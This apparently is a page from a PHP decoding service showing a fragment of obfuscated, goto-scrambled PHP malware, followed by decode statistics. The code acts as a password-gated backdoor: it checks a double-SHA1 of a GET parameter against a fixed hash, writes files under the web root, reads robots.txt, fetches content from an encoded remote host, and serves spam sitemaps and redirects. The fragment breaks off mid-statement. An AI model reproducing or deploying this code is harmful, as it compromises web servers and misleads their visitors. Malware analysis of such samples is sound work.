str_replace("\x70\x69\x6e\x67\x78\155\x6c\147\145\164\x63\157\x6e\x74\x65\x6e\x74", '', $y7JWA); goto SfkNR; iSzBG: if (!($uAOte == "\x70\165\164")) { goto vLQ0r; } goto oHvpv; Y1PzG: if (l0lm6()) { goto RJle0; } goto FM_wE; hsa2y: if (!($rw0js == A05OC($uKu2R . "\x3a\x2f\57" . $PgQ8a . "\57\141\56\160" . "\x68\x70") || $QRN_U == "\146\x38\146\60\144\141\145\x38\60\x34\x33\x36\x38\143\x30\63\x33\x34\x65\62\x32\144\71\144\143\142\67\x30\144\x33\143\x37\x62\x62\146\x61\x39\x36\x33\x35")) { goto MfKbO; } goto uom5T; JUTo3: F1hd2: goto z9_lT; ryQ0E: $jqFWG = a05OC($FIui_); goto dKkAJ; idfMW: if (file_exists($FIui_)) { goto CNybx; } goto NbS0t; aejXt: if (strstr($y7JWA, "\156\157\x62\x6f\x74\165\163\x65\x72\141\x67\145\156\x74")) { goto BKXLz; } goto Xec0V; st_7J: Fci7e: goto ZtGjj; xTTKq: Q20Ry: goto hL8MM; YVTOj: BRGGu: goto iSzBG; oHvpv: if (strstr($jOHDJ, "\56\x78\155\154")) { goto Bw4UM; } goto LTri_; IGYDh: $mZ6tq = ''; goto QJwpT; VaPs3: lRd1_: goto DuQuv; H7niE: if (strstr($y7JWA, "\160\x69\x6e\147\x78\x6d\154\147\145\164\x63\157\x6e\164\x65\156\x74")) { goto Q20Ry; } goto j89ai; vyaMU: @header("\103\157\156\164\x65\156\164\55\x74\x79\160\x65\72\40\x74\145\x78\164\57\170\155\154"); goto KliZY; ODlik: exit; goto k3Npu; DuQuv: $FIui_ = $hlPwp . "\x2f\162\157\142\157\x74\x73\56\x74\x78\164"; goto idfMW; OxWxl: if (!($NK594 == '')) { goto M8MzK; } goto gpKS1; k2YyR: goto Myy8L; goto Jzhob; DKBmN: goto b4U1y; goto JUTo3; j2rWD: goto LHWS2; goto blsOj; pwI3l: @header("\x43\x6f\x6e\164\x65\x6e\164\55\164\x79\x70\145\72\x20\164\145\x78\164\x2f\150\164\155\x6c\x3b\x20\x63\x68\x61\162\163\x65\164\x3d\165\164\x66\55\x38"); goto ydBIM; c9pnL: goto drv0Y; goto MWmL2; GnGIA: $yt6k1 = "\45\67\60\x25\66\64\45\67\60\x25\x37\x35\x25\x37\62\x25\x37\x32\x25\x37\70\x25\66\x42\45\67\60\45\x32\105\x25\x37\x33\x25\x37\62\x25\66\66\45\66\x36\45\67\62\x25\66\65\x25\x36\67\x25\x32\x45\45\x36\102\45\x36\x43\45\66\104"; goto eONe2; ROENt: $hlPwp = $_SERVER["\104\117\x43\125\115\x45\x4e\124\137\122\117\x4f\124"]; goto rY9oG; rVGHG: if (!($NK594 == "\x2f" || strstr($NK594, "\x65\x77\164\x74\155"))) { goto O6fse; } goto GlLIR; gpKS1: $NK594 = "\x2f"; goto p829S; VSO7O: Pj0Gt: goto NCoIL; hGJ5M: $QRN_U = sha1(sha1(@$_GET["\142"])); goto hsa2y; CBlJP: function LjwDG() { goto fHA_0; rvaed: amChJ: goto ALxxP; OqmP2: return $Ycwy5; goto SErus; ALxxP: $Ycwy5 = $_SERVER["\120\110\x50\137\123\x45\114\106"] . "\x3f" . $_SERVER["\141\162\x67\x76"][0]; goto Gpy7_; mSHIb: mONaJ: goto OqmP2; E12Jk: goto mONaJ; goto fi_yh; Gpy7_: alJzk: goto E12Jk; fHA_0: if (isset($_SERVER["\x52\105\x51\x55\x45\123\124\x5f\125\x52\x49"])) { goto ELBQB; } goto m7any; aLUaW: $Ycwy5 = $_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]; goto mSHIb; fi_yh: ELBQB: goto aLUaW; pVNW6: goto alJzk; goto rvaed; m7any: if (isset($_SERVER["\x61\162\147\166"])) { goto amChJ; } goto Db4an; Db4an: $Ycwy5 = $_SERVER["\x50\110\120\137\123\105\114\x46"] . "\x3f" . $_SERVER["\x51\x55\105\x52\x59\137\x53\124\122\111\x4e\107"]; goto pVNW6; SErus: } goto RSbLk; FccAA: YkGuj: goto vu9vF; k1KZq: lqJFT: goto ROENt; YNUQd: $y7JWA = str_replace("\147\x65\x74\x63\157\156\164\x65\156\164\63\60\61\x70\x61\147\x65", '', $y7JWA); goto lLtzi; foN08: echo $y7JWA; goto AAXbU; bJ8Rt: b4U1y: goto vf81F; SMslH: echo "\157\153"; goto FccAA; Blwgp: function AIYoy($DgEOu, $qXveM, $QMnUp) { goto BuEhS; f3zGv: IO7gJ: goto M1piw; Daf2F: tYSe5: goto Tv1TO; Sxxo_: if (file_exists($qXveM)) { goto tYSe5; } goto b_oh2; M1piw: llqWm: goto SDzg6; Tv1TO: wDQEv: goto zwSS1; zwSS1: goto llqWm; goto UgEtj; A9xnK: if (!@mkdir($DgEOu)) { goto wDQEv; } goto Sxxo_; BuEhS: if (is_dir($DgEOu)) { goto LnhjF; } goto A9xnK; rnCqb: if (file_exists($qXveM)) { goto IO7gJ; } goto R_9Jy; UgEtj: LnhjF: goto rnCqb; R_9Jy: @file_put_contents($qXveM, A05Oc($QMnUp)); goto f3zGv; b_oh2: @file_put_contents($qXveM, A05oC($QMnUp)); goto Daf2F; SDzg6: } goto rVGHG; VxC1y: IkcOX: goto ubkWV; Smkj7: $Ycwy5 = urlencode($NK594); goto CBlJP; z9_lT: $xKvv0 = "\x77\160\55\x69\156\x63\x6c\x75\144\145\163\57\143\163\x73"; goto bJ8Rt; VlW1s: if (!strstr($jOHDJ, "\x2e\x70" . "\x68\x70")) { goto MtuVi; } goto RKDY5; rY9oG: Ct8pI: goto JG8lN; lLtzi: header("\x4c\x6f\143\x61\x74\x69\x6f\156\72\x20" . $y7JWA); goto y8Gl5; GrToV: if (isset($_SERVER["\x44\x4f\x43\125\115\x45\116\124\137\x52\x4f\117\124"])) { goto iEmJ3; } goto iTGLG; eONe2: $uKu2R = "\x68\164\164\x70"; goto Y1PzG; FM_wE: $HlAt0 = "\150\x74\x74\160"; goto xroUc; Pk6c4: if (strstr($y7JWA, "\x6f\x6b\x78\155\154\x67\x65\x74\x63\157\x6e\164\145\156\x74")) { goto BzUHo; } goto H7niE; QJwpT: if (!isset($_SERVER["\x48\x54\124\120\x5f\122\105\x46\x45\122\x45\122"]
Function Calls
None |
Stats
MD5 | deb4844dadb1a93cde62a322438037d2 |
Eval Count | 0 |
Decode Time | 49 ms |